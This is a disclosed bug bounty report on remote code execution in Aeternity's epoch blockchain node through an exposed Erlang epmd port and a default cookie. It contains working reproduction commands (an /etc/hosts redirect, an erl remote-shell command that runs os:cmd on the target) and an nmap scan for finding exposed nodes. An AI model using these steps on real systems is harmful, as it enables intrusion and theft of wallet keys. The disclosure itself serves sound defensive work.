Remote Code Execution in epoch via epmd

Share:

State	○ Resolved (Closed)
Disclosed	**May 9, 2019 10:51pm +0530**
Reported To	Aeternity
Asset	http://github.com/aeternity/epoch (Source code)
Weakness	Improper Access Control - Generic
Bounty	$10,000
Severity	Critical (9.0)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE

ecneladis submitted a report to **Aeternity**. Nov 27th (5 months ago)

Summary: Remote Code Execution in epoch via exposed erlang ports (epmd)

Description: Known Erlang cookie allows connecting to other Erlang nodes. Contrary to assumptions from https://github.com/aeternity/aetmodel/blob/master/ThreatModel.md, starting node with `-sname` does not prevent remote connections.

Steps To Reproduce:

Target server

Download and setup latest release of epoch following official release notes.

Attacker machine

Add line with target ip and localhost to `/etc/hosts` before `127.0.0.1 localhost`:

```
ubuntu@server:~$ cat /etc/hosts | grep localhost
52.zz.xx.yy localhost
127.0.0.1 localhost
```

Verify it's resolved before `127.0.0.1`

```
ubuntu@server:~# getent hosts localhost
52.zz.xx.yy  localhost
127.0.0.1       localhost
```

Execute remote shell with erl:

```
ubuntu@server:~# uname -a
Linux web-2 4.4.0-127-generic #153-Ubuntu SMP Sat May 19 10:58:46 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

ubuntu@server:~# erl -setcookie epoch_cookie -sname server -remsh epoch@localhost
Erlang/OTP 18 [erts-7.3] [source] [64-bit] [async-threads:10] [hipe] [kernel-poll:false]

Eshell V9.3.3  (abort with ^G)
(epoch@localhost)1> os:cmd('uname -a').
"Linux target-1 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n"
```

Additional notes:

- other Aeternity Erlang application also may be vulnerable (in my previous research for Amoveo
- it's possible to easily find all publicly available `epoch` instances with network scanner:

```
ubuntu@server:~$ nmap -T5 -p 4369 --script epmd-info 52.zz.xx.yy

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-27 11:37 UTC
Nmap scan report for localhost (52.zz.xx.yy)
Host is up (0.0015s latency).
PORT     STATE SERVICE
4369/tcp open  epmd
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    epoch: 37286
```

Possible mitigations:

- firewall Erlang ports
- generating random cookies (do not relay on default Erlang generation mechanism, see my previous research)
- disabling Erlang nodes listening on

Supporting Material/References:

- Same vulnerability in Amoveo blockchain
- epmd official documentation

Impact

Remote code execution and then for example:

- attaching hosting system
- stealing encrypted keys
- stealing encrypt password for keys
- subverting key generation mechanism
- mining XMR ;)

silentser updated the severity from Critical to Critical (9.0). Nov 28th (5 months ago)

Aeternity rewarded ecneladis with a **$10,000** bounty. Nov 28th (5 months ago)

Thanks a lot for your report! We have applied fixes to the reported vulnerability, which can be followed via following Pivotal Tracker tickets:

- https://www.pivotaltracker.com/story/show/162237191 (fixed)
- https://www.pivotaltracker.com/story/show/162248257 (open)

ecneladis posted a comment. Nov 29th (5 months ago)

That was fast. Thank you for the bounty!

silentser closed the report and changed the status to ○ **Resolved**. Nov 29th (5 months ago)

We do our best! Thanks again for communicating the issue to us!

silentser requested to disclose this report. May 4th (6 days ago)

Disclosing the report.

ecneladis agreed to disclose this report. May 9th (11 hrs ago)

This report has been disclosed. May 9th (11 hrs ago)